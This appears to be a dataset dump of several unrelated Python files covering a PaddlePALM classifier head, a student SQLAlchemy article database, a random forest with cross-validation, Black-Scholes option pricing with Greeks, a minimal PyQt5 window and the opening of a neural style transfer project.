bias_attr=fluid.ParamAttr(\n name=scope_name+\"cls_out_b\", initializer=fluid.initializer.Constant(0.)))\n\n if self._is_training:\n inputs = fluid.layers.softmax(logits)\n loss = fluid.layers.cross_entropy(\n input=inputs, label=label_ids)\n loss = layers.mean(loss)\n return {\"loss\": loss}\n else:\n return {\"logits\":logits}\n\n def postprocess(self, rt_outputs):\n if not self._is_training:\n logits = rt_outputs['logits']\n preds = np.argmax(logits, -1)\n self._preds.extend(preds.tolist())\n\n def epoch_postprocess(self, post_inputs):\n # there is no post_inputs needed and not declared in epoch_inputs_attrs, hence no elements exist in post_inputs\n if not self._is_training:\n if self._pred_output_path is None:\n raise ValueError('argument pred_output_path not found in config. Please add it into config dict/file.')\n with open(os.path.join(self._pred_output_path, 'predictions.json'), 'w') as writer:\n for p in self._preds:\n writer.write(str(p)+'\\n')\n print('Predictions saved at '+os.path.join(self._pred_output_path, 'predictions.json'))\n\n \n", "sub_path": "paddlepalm/task_paradigm/cls.py", "file_name": "cls.py", "file_ext": "py", "file_size_in_byte": 4003, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "paddlepalm.interface.task_paradigm", "line_number": 22, "usage_type": "name"}, {"api_name": "paddle.fluid.initializer.TruncatedNormal", "line_number": 34, "usage_type": "call"}, {"api_name": "paddle.fluid.initializer", "line_number": 34, "usage_type": "attribute"}, {"api_name": "paddle.fluid", "line_number": 34, "usage_type": "name"}, {"api_name": "paddle.fluid.layers.dropout", "line_number": 63, "usage_type": "call"}, {"api_name": "paddle.fluid.layers", "line_number": 63, "usage_type": "attribute"}, {"api_name": "paddle.fluid", "line_number": 63, "usage_type": "name"}, {"api_name": "paddle.fluid.layers.fc", "line_number": 68, "usage_type": "call"}, {"api_name": "paddle.fluid.layers", "line_number": 68, "usage_type": "attribute"}, {"api_name": "paddle.fluid", "line_number": 68, "usage_type": "name"}, {"api_name": "paddle.fluid.ParamAttr", "line_number": 71, "usage_type": "call"}, {"api_name": "paddle.fluid", "line_number": 71, "usage_type": "name"}, {"api_name": "paddle.fluid.ParamAttr", "line_number": 74, "usage_type": "call"}, {"api_name": "paddle.fluid", "line_number": 74, "usage_type": "name"}, {"api_name": "paddle.fluid.initializer.Constant", "line_number": 75, "usage_type": "call"}, {"api_name": "paddle.fluid.initializer", "line_number": 75, "usage_type": "attribute"}, {"api_name": "paddle.fluid", "line_number": 75, "usage_type": "name"}, {"api_name": "paddle.fluid.layers.softmax", "line_number": 78, "usage_type": "call"}, {"api_name": "paddle.fluid.layers", "line_number": 78, "usage_type": "attribute"}, {"api_name": "paddle.fluid", "line_number": 78, "usage_type": "name"}, {"api_name": "paddle.fluid.layers.cross_entropy", "line_number": 79, "usage_type": "call"}, {"api_name": "paddle.fluid.layers", "line_number": 79, "usage_type": "attribute"}, {"api_name": "paddle.fluid", "line_number": 79, "usage_type": "name"}, {"api_name": "paddle.fluid.layers.mean", "line_number": 81, "usage_type": "call"}, {"api_name": "paddle.fluid.layers", "line_number": 81, "usage_type": "name"}, {"api_name": "numpy.argmax", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 97, "usage_type": "call"}, {"api_name": "os.path", "line_number": 97, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path", "line_number": 100, "usage_type": "attribute"}]} +{"seq_id": "37315699", "text": "from knowledge_model import Base, Knowledge\n\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\nengine = create_engine('sqlite:///knowledge.db')\nBase.metadata.create_all(engine)\nDBSession = sessionmaker(bind=engine)\nsession = DBSession()\n\ndef add_article(knowledge_link, topic, title, rating):\n\tarticle=Knowledge(knowledge_link=knowledge_link , topic=topic , title=title, rating=rating)\n\tsession.add(article)\n\tsession.commit()\n\n# add_article(knowledge_link=\"https://en.wikipedia.org/wiki/HIV2\" , topic=\"hiv\" , title=\"human immunodeficiency viruses\", rating=8)\n\ndef query_all_articles():\n\tall_articles=session.query(Knowledge).all()\n\treturn all_articles\n\nprint(query_all_articles())\n\n\ndef query_article_by_topic(articaltopic):\n\tarticles_topic=session.query(all_articles).filter_by(topic=articaltopic).first()\n\treturn articles_topic\nprint(query_article_by_topic(hiv))\n\n\ndef delete_article_by_topic(deletetopic):\n\tsession.query(Knowledge).filter_by(topic=deletetopic).delete()\n\tsession.commit()\ndelete_article_by_topic(hiv)\n\n\ndef delete_all_articles():\n\tsession.query(all_articles).delete()\n\tsession.commit()\ndelete_all_articles()\n\ndef edit_article_rating(knowledge_link, rating):\n\tarticle=session.query(Knowledge).filter_by(knowledge_link).first()\n\tarticle.rating=rating\nedit_article_rating()\n\n", "sub_path": "knowledge_databases.py", "file_name": "knowledge_databases.py", "file_ext": "py", "file_size_in_byte": 1319, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sqlalchemy.create_engine", "line_number": 6, "usage_type": "call"}, {"api_name": "knowledge_model.Base.metadata.create_all", "line_number": 7, "usage_type": "call"}, {"api_name": "knowledge_model.Base.metadata", "line_number": 7, "usage_type": "attribute"}, {"api_name": "knowledge_model.Base", "line_number": 7, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.sessionmaker", "line_number": 8, "usage_type": "call"}, {"api_name": "knowledge_model.Knowledge", "line_number": 12, "usage_type": "call"}, {"api_name": "knowledge_model.Knowledge", "line_number": 19, "usage_type": "argument"}, {"api_name": "knowledge_model.Knowledge", "line_number": 32, "usage_type": "argument"}, {"api_name": "knowledge_model.Knowledge", "line_number": 43, "usage_type": "argument"}]} +{"seq_id": "280774134", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Nov 27 19:27:06 2017\n\n@author: harilsatra\n\"\"\"\n\n# Import libraries and inbuilt functions\nimport numpy as np\nfrom collections import Counter\nfrom random import randint\nimport sys\n\n# Node class\nclass Node:\n def __init__(self, split_index = None, split_value = None, splits = None, label = None):\n self.left = None\n self.right = None\n self.split_index = split_index\n self.split_value = split_value\n self.splits = splits\n self.label = label\n\n# Function to predict the label for a test sample.\ndef classify(node, test_sample, cat_attrs):\n if node.split_index in cat_attrs:\n # Decide the direction in which to move\n if test_sample[node.split_index] == node.split_value:\n # If a leaf node is reached, return the label of the leaf node else keep traversing the tree recursively.\n if node.left.label is not None:\n return node.left.label\n else:\n return classify(node.left, test_sample, cat_attrs)\n \n else:\n if node.right.label is not None:\n return node.right.label\n else:\n return classify(node.right, test_sample, cat_attrs)\n else:\n # Decide the direction in which to move\n if test_sample[node.split_index] < node.split_value:\n # If a leaf node is reached, return the label of the leaf node else keep traversing the tree recursively.\n if node.left.label is not None:\n return node.left.label\n else:\n return classify(node.left, test_sample, cat_attrs)\n \n else:\n if node.right.label is not None:\n return node.right.label\n else:\n return classify(node.right, test_sample, cat_attrs)\n\n# Split the node and keep building the tree recursively or stop if it's a leaf node.\ndef splitNode(node, max_depth, min_size, current_depth, cat_attrs, visited_cat_attrs):\n left, right = node.splits\n #print(\"splitNode\" , node.split_index, node.split_value, len(left), len(right), visited_cat_attrs)\n if len(left) == 0:\n node.left = node.right = leafNode(right)\n return\n if len(right) == 0:\n node.left = node.right = leafNode(left)\n return\n if current_depth >= max_depth:\n node.left = leafNode(left)\n node.right = leafNode(right)\n return\n if len(left) <= min_size:\n node.left = leafNode(left)\n else:\n new_set = set(visited_cat_attrs)\n node.left = bestSplit(left, cat_attrs, new_set)\n splitNode(node.left, max_depth, min_size, current_depth + 1, cat_attrs, new_set)\n \n if len(right) <= min_size:\n node.right = leafNode(right)\n else:\n new_set = set(visited_cat_attrs) \n node.right = bestSplit(right, cat_attrs, new_set)\n splitNode(node.right, max_depth, min_size, current_depth + 1, cat_attrs, new_set)\n \n# Create a new Node which indicates that it's a leaf node along with the associated label.\ndef leafNode(data):\n most_common = Counter([i[-1] for i in data]).most_common(1)\n node = Node(label = most_common[0][0])\n return node\n\n# Function to start building the tree\ndef decisionTree(data, max_depth, min_size, cat_attrs):\n visited_cat_attrs = set()\n node = bestSplit(data, cat_attrs, visited_cat_attrs)\n splitNode(node, max_depth, min_size, 1, cat_attrs, visited_cat_attrs)\n return node\n\n\n# Function to find where would the best split occur in the data provided\ndef bestSplit(data, cat_attrs, visited_cat_attrs):\n no_attrs = len(data[0])\n no_samples = len(data)\n min_gini = sys.maxsize\n split_index = sys.maxsize\n split_value = sys.maxsize\n random_attrs = set()\n m = int((no_attrs-1) ** 0.5)\n xyz = 0\n \n #Iterate values of randomly selected attributes and calculate the gini index for each one and choose the one with minimum gini index\n while len(random_attrs) != m :\n random_num = randint(0,(no_attrs-2))\n #random_attrs.add(random_num)\n #print(random_num, visited_cat_attrs, random_attrs)\n if random_num not in visited_cat_attrs:\n random_attrs.add(random_num)\n xyz += 1\n \n \n for j in random_attrs:\n if j not in cat_attrs:\n \n visited_values = set()\n for i in range(no_samples):\n if data[i][j] not in visited_values:\n visited_values.add(data[i][j])\n temp_gini = calGini(j,data[i][j],data,False)\n if temp_gini <= min_gini:\n min_gini = temp_gini\n split_index = j\n split_value = data[i][j]\n #print(min_gini, split_value, split_index)\n\n else:\n visited_values = set()\n for i in range(no_samples):\n if data[i][j] not in visited_values:\n visited_values.add(data[i][j])\n temp_gini = calGini(j,data[i][j],data,True)\n if temp_gini <= min_gini:\n min_gini = temp_gini\n split_index = j\n split_value = data[i][j]\n \n # Split the data based on the selected attribute \n if split_index in cat_attrs:\n visited_cat_attrs.add(split_index)\n splits = splitData(split_index, split_value, data, True)\n else: \n splits = splitData(split_index, split_value, data, False)\n\n node = Node(split_index, split_value, splits)\n #print(min_gini, split_value, split_index)\n return node\n \n \n# Split the data based on the split index and value provided \ndef splitData(split_index, split_value, data, isCat):\n split1 = []\n split2 = []\n #print(split_index, split_value, isCat)\n if isCat:\n for i in range(len(data)):\n if data[i][split_index] == split_value:\n split1.append(data[i])\n else:\n split2.append(data[i])\n else:\n for i in range(len(data)):\n if data[i][split_index] < split_value:\n split1.append(data[i])\n else:\n split2.append(data[i])\n return split1, split2\n \n \n# Function to calculate the gini index\ndef calGini(col,split_value,data, isCat):\n split1_counts = [0,0]\n split2_counts = [0,0]\n gini_val = 0.0\n score1 = 0.0\n score2 = 0.0\n if isCat:\n for i in range(len(data)):\n if data[i][col] == split_value:\n split1_counts[int(data[i][-1])] += 1\n else:\n split2_counts[int(data[i][-1])] += 1\n else:\n for i in range(len(data)):\n if data[i][col] < split_value:\n split1_counts[int(data[i][-1])] += 1\n else:\n split2_counts[int(data[i][-1])] += 1\n \n if (split1_counts[0] + split1_counts[1]) != 0:\n for i in range(len(split1_counts)):\n score1 += (split1_counts[i] / (split1_counts[0] + split1_counts[1]))**2\n gini_val += (1.0 - score1) * ((split1_counts[0] + split1_counts[1]) / len(data)) \n if (split2_counts[0] + split2_counts[1]) != 0:\n for i in range(len(split2_counts)):\n score2 += (split2_counts[i] / (split2_counts[0] + split2_counts[1]))**2 \n gini_val += (1.0 - score2) * ((split2_counts[0] + split2_counts[1]) / len(data)) \n #print(gini_val, col, split_value)\n \n return gini_val\n\n\n#http://pythoncentral.io/how-to-check-if-a-string-is-a-number-in-python-including-unicode/\n# Function to check if a string is a number or not\ndef is_number(s):\n try:\n float(s)\n return True\n except ValueError:\n pass\n try:\n import unicodedata\n unicodedata.numeric(s)\n return True\n except (TypeError, ValueError):\n pass\n \n return False\n\n#Prompt the user to enter the filename\nfilename = input(\"Enter the filename with extension: \")\n\n# Read the file specified by the user\nwith open(filename) as textFile:\n lines = [line.split('\\t') for line in textFile]\n\n\nclasses=np.array\nno_samples = len(lines)\nno_attrs = len(lines[0])\n \ndata = np.zeros((no_samples,no_attrs),dtype=float)\nclass_labels = [int(row[-1].rstrip(\"\\n\")) for row in lines]\nclasses=np.unique(class_labels)\ncat_attrs = set()\n\n# Encode the nominal attributes\nfor j in range(no_attrs):\n nominal_attr = {}\n nominal_count = 0\n if not is_number(lines[0][j]):\n cat_attrs.add(j)\n for i in range(no_samples):\n if is_number(lines[i][j]):\n data[i][j] = float(lines[i][j])\n elif lines[i][j] in nominal_attr:\n data[i][j] = nominal_attr[lines[i][j]]\n else:\n nominal_attr[lines[i][j]] = nominal_count\n data[i][j] = nominal_attr[lines[i][j]]\n nominal_count += 1\n\n\nk = 10 # K-fold value\nmax_depth = no_attrs\nmin_size = 4\nT = 10\n\n# Initialize the evaluation metrics\naccuracy = 0\nprecision = 0\nrecall = 0\nf1 = 0\n\ntest_len = int(no_samples/10)\ntrain_len = no_samples - test_len\nstart = 0\nend = test_len\n\n# 10-fold Cross Validation\nfor fold in range(k):\n print(\"FOLD\", fold+1)\n # Extract the test data and training data\n test_data = data[start:end][:]\n test_true_labels = class_labels[start:end]\n train_data = np.delete(data,np.s_[start:end],0)\n train_labels = np.delete(class_labels,np.s_[start:end])\n \n test_new_labels = []\n roots = []\n for trees in range(T):\n bagging_data = []\n for index in range(len(train_data)):\n bagging_data.append(train_data[randint(0,len(train_data)-1)].tolist())\n root = decisionTree(bagging_data, max_depth, min_size, cat_attrs)\n roots.append(root)\n \n for test_sample in test_data:\n temp_labels = []\n for root in roots:\n temp_labels.append(classify(root, test_sample, cat_attrs))\n test_new_labels.append(Counter(temp_labels).most_common(1)[0][0])\n\n # Populate the Confusion matrix in order to calculate the evaluation metrics.\n confusion_matrix = np.zeros((2,2))\n for i in range(len(test_true_labels)):\n if test_true_labels[i]==test_new_labels[i]:\n if test_true_labels[i]==1:\n confusion_matrix[0][0] += 1\n else:\n confusion_matrix[1][1] += 1\n else:\n if test_true_labels[i]==1:\n confusion_matrix[0][1] += 1\n else:\n confusion_matrix[1][0] += 1\n \n # Calculate the evaluation metric for kth fold using the confusion matrix.\n accuracy_k = (confusion_matrix[0][0]+confusion_matrix[1][1])/(confusion_matrix[1][0]+confusion_matrix[0][1]+confusion_matrix[0][0]+confusion_matrix[1][1])\n accuracy += accuracy_k \n if confusion_matrix[0][0]+confusion_matrix[1][0] != 0:\n precision_k = confusion_matrix[0][0]/(confusion_matrix[0][0]+confusion_matrix[1][0])\n precision += precision_k\n if confusion_matrix[0][0]+confusion_matrix[0][1] != 0:\n recall_k = confusion_matrix[0][0]/(confusion_matrix[0][0]+confusion_matrix[0][1])\n recall += recall_k\n if (2*confusion_matrix[0][0])+confusion_matrix[0][1]+confusion_matrix[1][0] != 0:\n f1_k = (2*confusion_matrix[0][0])/((2*confusion_matrix[0][0])+confusion_matrix[0][1]+confusion_matrix[1][0])\n f1 += f1_k\n \n if fold==8:\n start += test_len\n end += test_len+no_samples-(10*test_len)\n else:\n start += test_len\n end += test_len\n \n print(\"Accuracy: \" ,accuracy_k)\n print(\"Precision: \" ,precision_k)\n print(\"Recall: \" ,recall_k)\n print(\"F1-measure: \",f1_k)\n print()\n\n# Print the evaluation metrics\nprint(\"Average Metrics: \")\nprint(\"Accuracy: \" ,accuracy/k)\nprint(\"Precision: \" ,precision/k)\nprint(\"Recall: \" ,recall/k)\nprint(\"F1-measure: \",f1/k)", "sub_path": "randomforest.py", "file_name": "randomforest.py", "file_ext": "py", "file_size_in_byte": 11949, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "collections.Counter", "line_number": 86, "usage_type": "call"}, {"api_name": "sys.maxsize", "line_number": 102, "usage_type": "attribute"}, {"api_name": "sys.maxsize", "line_number": 103, "usage_type": "attribute"}, {"api_name": "sys.maxsize", "line_number": 104, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 111, "usage_type": "call"}, {"api_name": "unicodedata.numeric", "line_number": 219, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 234, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 238, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 240, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 282, "usage_type": "call"}, {"api_name": "numpy.s_", "line_number": 282, "usage_type": "attribute"}, {"api_name": "numpy.delete", "line_number": 283, "usage_type": "call"}, {"api_name": "numpy.s_", "line_number": 283, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 290, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 298, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 301, "usage_type": "call"}]} +{"seq_id": "405762791", "text": "\"\"\"options utils\"\"\"\nimport numpy as np\nimport pandas as pd\nimport scipy.stats as stats\nimport scipy.optimize as opt\n\n\nclass BlackScholes:\n def __init__(\n self,\n current_option_price=0,\n stock=0,\n strike=0,\n days_to_maturity=0,\n volatility=0,\n risk_free_rate=0,\n carry_cost=0,\n is_call=True,\n is_future=False,\n ):\n self.current_option_price = current_option_price\n self.stock = stock\n self.strike = strike\n self.time = days_to_maturity / 365\n self.volatility = volatility\n self.risk_free_rate = risk_free_rate\n self.carry_cost = carry_cost\n self.is_call = is_call\n self.is_future = is_future\n\n @staticmethod\n def calculate_d1(stock, strike, carry_cost, risk_free_rate, volatility, time, is_future):\n b = carry_cost if is_future else risk_free_rate\n d1 = (np.log(stock / strike) + (b + (volatility ** 2) / 2) * time) / (volatility * np.sqrt(time))\n return d1\n\n @staticmethod\n def calculate_d2(d1, volatility, time):\n d2 = d1 - volatility * np.sqrt(time)\n return d2\n\n @property\n def d1(self):\n d1 = self.calculate_d1(\n stock=self.stock,\n strike=self.strike,\n time=self.time,\n volatility=self.volatility,\n risk_free_rate=self.risk_free_rate,\n carry_cost=self.carry_cost,\n is_future=self.is_future,\n )\n return d1\n\n @property\n def d2(self):\n d2 = self.calculate_d2(\n d1=self.d1,\n volatility=self.volatility,\n time=self.time,\n )\n return d2\n\n @staticmethod\n def _probability_density_function(d, mean=0, standard_deviation=1):\n pndf = stats.norm.pdf(d, mean, standard_deviation)\n return pndf\n\n @staticmethod\n def _cumulative_density_function(d, mean=0, standard_deviation=1):\n cndf = stats.norm.cdf(d, mean, standard_deviation)\n return cndf\n\n def calculate_option_price(\n self,\n stock,\n strike,\n carry_cost,\n risk_free_rate,\n time,\n volatility,\n is_call,\n is_future,\n ):\n \"\"\"\n Calculate option price\n Note, futures options will not calculate properly in all scenarios\n \"\"\"\n d1 = self.calculate_d1(\n stock=stock,\n strike=strike,\n time=time,\n volatility=volatility,\n risk_free_rate=risk_free_rate,\n carry_cost=carry_cost,\n is_future=is_future,\n )\n d2 = self.calculate_d2(\n d1=d1,\n volatility=volatility,\n time=time,\n )\n\n if not is_call:\n d1 = -d1\n d2 = -d2\n\n d1_p = self._cumulative_density_function(d1)\n d2_p = self._cumulative_density_function(d2)\n\n stock_discounted = stock * d1_p\n strike_discounted = strike * (np.exp(-risk_free_rate * time)) * d2_p\n\n option = stock_discounted - strike_discounted if is_call else strike_discounted - stock_discounted\n return option\n\n @property\n def option_price(self):\n \"\"\"Given initialized parameters, calculate an options price\"\"\"\n option_price = self.calculate_option_price(\n stock=self.stock,\n strike=self.strike,\n time=self.time,\n volatility=self.volatility,\n risk_free_rate=self.risk_free_rate,\n carry_cost=self.carry_cost,\n is_call=self.is_call,\n is_future=self.is_future,\n )\n return option_price\n\n def calculate_implied_volatility(self, volatility_guess):\n option_price = self.calculate_option_price(\n stock=self.stock,\n strike=self.strike,\n time=self.time,\n volatility=volatility_guess,\n risk_free_rate=self.risk_free_rate,\n carry_cost=self.carry_cost,\n is_call=self.is_call,\n is_future=self.is_future,\n )\n diff = option_price - self.current_option_price\n return diff\n\n @property\n def implied_volatility(self, lower_bound=-15, upper_bound=15):\n \"\"\"\n Brentq root finding for implied volatility\n \"\"\"\n try:\n implied_volatility = opt.brentq(\n self.calculate_implied_volatility,\n lower_bound,\n upper_bound,\n xtol=1e-15,\n rtol=1e-15,\n maxiter=1000,\n )\n implied_volatility = max(round(implied_volatility, 6), 0)\n except ValueError as e:\n print(f'Filling null to workaround {e}')\n implied_volatility = None\n return implied_volatility\n\n @staticmethod\n def _implied_volatility_seed(stock, strike, risk_free_rate, time):\n \"\"\"\n Manaster-Koehler implied volatility seed\n sqrt(abs(ln(S/X) + rT) * 2/T)\n \"\"\"\n vol = np.sqrt(abs(np.log(stock/strike) + risk_free_rate * time) * 2 / time)\n return vol\n\n @property\n def _implied_volatility(\n self,\n error=.00001,\n max_iterations=100,\n estimated_option_price=0,\n ) -> float:\n \"\"\"Alternative implied volatility calculation, drawn from Haug\"\"\"\n volatility_guess = self._implied_volatility_seed(\n stock=self.stock,\n strike=self.strike,\n risk_free_rate=self.risk_free_rate,\n time=self.time,\n )\n n = 0\n while abs(self.current_option_price - estimated_option_price) > error and n < max_iterations:\n estimated_option_price = self.calculate_option_price(\n stock=self.stock,\n strike=self.strike,\n time=self.time,\n volatility=volatility_guess,\n risk_free_rate=self.risk_free_rate,\n carry_cost=self.carry_cost,\n is_call=self.is_call,\n is_future=self.is_future,\n )\n vega = self.calculate_vega(\n stock=self.stock,\n strike=self.strike,\n time=self.time,\n volatility=volatility_guess,\n risk_free_rate=self.risk_free_rate,\n carry_cost=self.carry_cost,\n is_future=self.is_future,\n )\n volatility_guess = volatility_guess - (\n (estimated_option_price - self.current_option_price)/vega\n )\n n += 1\n return volatility_guess\n\n \"\"\"\n Greeks\n \"\"\"\n\n @property\n def delta(self):\n \"\"\"The rate of change in an options value as the underlying changes\"\"\"\n n = 0 if self.is_call else 1\n delta = np.exp(-self.risk_free_rate * self.time) * (self._cumulative_density_function(self.d1) - n)\n return delta\n\n @property\n def gamma(self):\n \"\"\"The rate of change in an options value as the delta changes\"\"\"\n n = self._probability_density_function(self.d1)\n gamma = (\n (n * np.exp((self.carry_cost - self.risk_free_rate) * self.time))\n / (self.stock * self.volatility * np.sqrt(self.time))\n )\n return gamma\n\n @property\n def rho(self):\n \"\"\"The rate of change in an options value as the risk free rate changes\"\"\"\n if self.is_call:\n rho = (\n self.time * self.strike * np.exp(-self.risk_free_rate * self.time)\n * self._cumulative_density_function(self.d2)\n )\n else:\n rho = (\n -self.time * self.strike * np.exp(-self.risk_free_rate * self.time)\n * self._cumulative_density_function(-self.d2)\n )\n return rho\n\n @property\n def theta(self):\n \"\"\"The rate of change in an options value as the time to maturity changes\"\"\"\n left = -(\n (self.stock * np.exp((self.carry_cost - self.risk_free_rate) * self.time)\n * self._probability_density_function(self.d1) * self.volatility)\n / (2 * np.sqrt(self.time))\n )\n middle = (\n (self.carry_cost - self.risk_free_rate)\n * self.stock * np.exp((self.carry_cost - self.risk_free_rate) * self.time)\n * self._cumulative_density_function(-self.d1)\n )\n right = (\n self.risk_free_rate * self.strike * np.exp(-self.risk_free_rate * self.time)\n * self._cumulative_density_function(-self.d2)\n )\n theta = left + middle + right\n return theta\n\n def calculate_vega(\n self,\n stock,\n strike,\n time,\n volatility,\n risk_free_rate,\n carry_cost,\n is_future,\n ):\n d1 = self.calculate_d1(\n stock=stock,\n strike=strike,\n time=time,\n volatility=volatility,\n risk_free_rate=risk_free_rate,\n carry_cost=carry_cost,\n is_future=is_future,\n )\n vega = (\n stock * np.exp((carry_cost - risk_free_rate) * time)\n * self._probability_density_function(d1) * np.sqrt(time)\n )\n return vega\n\n @property\n def vega(self):\n \"\"\"The rate of change in an options value as volatility changes\"\"\"\n vega = self.calculate_vega(\n stock=self.stock,\n strike=self.strike,\n time=self.time,\n volatility=self.volatility,\n risk_free_rate=self.risk_free_rate,\n carry_cost=self.carry_cost,\n is_future=self.is_future,\n )\n return vega\n\n @property\n def risk_neutral_probability(self):\n \"\"\"\n The risk neutral probability of the option, which is the\n probablility that the option finishes in the money\n - For calls, N(D2)\n - For puts, N(-D2)\n \"\"\"\n x = self.d2 if self.is_call else -self.d2\n rnp = self._cumulative_density_function(x)\n return rnp\n\n\ndef smooth_first_order_difference(\n df: pd.DataFrame,\n degree: int = 2,\n) -> pd.DataFrame:\n \"\"\"\n Smooth the first order differences of an option chain. Recall that an\n option's first order difference is its cumulative density function.\n \"\"\"\n p = np.polyfit(\n x=df['strike'],\n y=df['first_order_difference'],\n deg=degree,\n )\n df['smoothed_first_order_difference'] = np.polyval(p, df['strike'])\n df.loc[df['smoothed_first_order_difference'] < 0, 'smoothed_first_order_difference'] = 0\n df.loc[df['smoothed_first_order_difference'] > 1, 'smoothed_first_order_difference'] = 1\n df['probability_of_profit'] = 1 - df['smoothed_first_order_difference']\n return df\n", "sub_path": "utilities/options_utils.py", "file_name": "options_utils.py", "file_ext": "py", "file_size_in_byte": 10955, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "numpy.log", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 39, "usage_type": "call"}, {"api_name": "scipy.stats.norm.pdf", "line_number": 66, "usage_type": "call"}, {"api_name": "scipy.stats.norm", "line_number": 66, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 66, "usage_type": "name"}, {"api_name": "scipy.stats.norm.cdf", "line_number": 71, "usage_type": "call"}, {"api_name": "scipy.stats.norm", "line_number": 71, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 71, "usage_type": "name"}, {"api_name": "numpy.exp", "line_number": 112, "usage_type": "call"}, {"api_name": "scipy.optimize.brentq", "line_number": 152, "usage_type": "call"}, {"api_name": "scipy.optimize", "line_number": 152, "usage_type": "name"}, {"api_name": "numpy.sqrt", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 224, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 232, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 233, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 242, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 247, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 256, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 258, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 262, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 266, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 292, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 293, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 325, "usage_type": "attribute"}, {"api_name": "numpy.polyfit", "line_number": 332, "usage_type": "call"}, {"api_name": "numpy.polyval", "line_number": 337, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 327, "usage_type": "attribute"}]} +{"seq_id": "151833274", "text": "#!/usr/bin/python3\n# regex.py by Bill Weinman [http://bw.org/]\n# This is an exercise file from Python 3 Essential Training on lynda.com\n# Copyright 2010 The BearHeart Gorup, LLC\n\nimport re\nimport sys\nfrom PyQt5 import QtGui\n\ndef main():\n\n app = QtGui.QGuiApplication(sys.argv)\n w = QtGui.QWindow()\n w.resize(250, 150)\n w.show()\n\n sys.exit(app.exec_())\n\n\nif __name__ == '__main__':\n main()", "sub_path": "09 Regexes/regex-gui.py", "file_name": "regex-gui.py", "file_ext": "py", "file_size_in_byte": 406, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "PyQt5.QtGui.QGuiApplication", "line_number": 12, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 12, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 12, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QWindow", "line_number": 13, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 13, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 17, "usage_type": "call"}]} +{"seq_id": "210760088", "text": "# Project 5: Neural Style Transfer\n# Due May 2nd\n\nfrom Evaluator import *\nimport keras.preprocessing as kp\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport vgg\nimport keras.backend as K\nimport keras.layers as kl\nimport keras.models as km\nimport os\nimport sys\n\n\ndef content_layer_loss(Fp, Fx):\n\n _, h, w, d = Fp.get_shape().as_list()\n\n # Compute sum of residual squares (sse)\n sse = K.tf.reduce_sum((Fx - Fp)**2)\n\n # Note: to access underlying value: w.value\n M = w * h\n N = d\n\n # Compute scaling factor\n scale = 1.0 / (2 * (M**0.5) * (N**0.5))\n\n loss = scale * sse\n\n return loss\n\n\ndef gram_matrix(f):\n\n # Accepts a (height,width,depth)-sized feature map,\n # reshapes to (M,N), then computes the inner product\n\n _, h, w, d = f.get_shape().as_list()\n\n M = h * w\n N = d\n\n f = K.tf.reshape(f, shape=(M, N))\n\n return K.tf.tensordot(K.tf.transpose(f), f, 1)\n\n\ndef style_layer_loss(Fa, Fx):\n\n _, h, w, d = Fa.get_shape().as_list()\n\n # Calculate gram matrix of respective feature maps\n G_Fa = gram_matrix(Fa)\n G_Fx = gram_matrix(Fx)\n\n # Compute sse between gram matrices\n sse = K.tf.reduce_sum((G_Fa - G_Fx)**2)\n\n # Compute scaling factor\n M = w * h\n N = d\n scale = 1 / (4 * M**2 * N**2)\n\n loss = scale * sse\n\n return loss\n\n\ndef create_model(input_img, output_layers):\n\n # Instantiate full VGG model w/ input img\n base_model = vgg.VGG19(input_tensor=kl.Input(tensor=K.tf.Variable(input_img)))\n return km.Model(inputs=base_model.inputs, outputs=[base_model.get_layer(n).output for n in output_layers])\n\n\ndef pixel_means(img, add=False):\n\n if add:\n\n img[:, :, 0] += 103.939\n img[:, :, 1] += 116.779\n img[:, :, 2] += 123.68\n\n else:\n\n img[:, :, 0] -= 103.939\n img[:, :, 1] -= 116.779\n img[:, :, 2] -= 123.68\n\n return img\n\n\non_gpu_server = False\nif on_gpu_server is True:\n 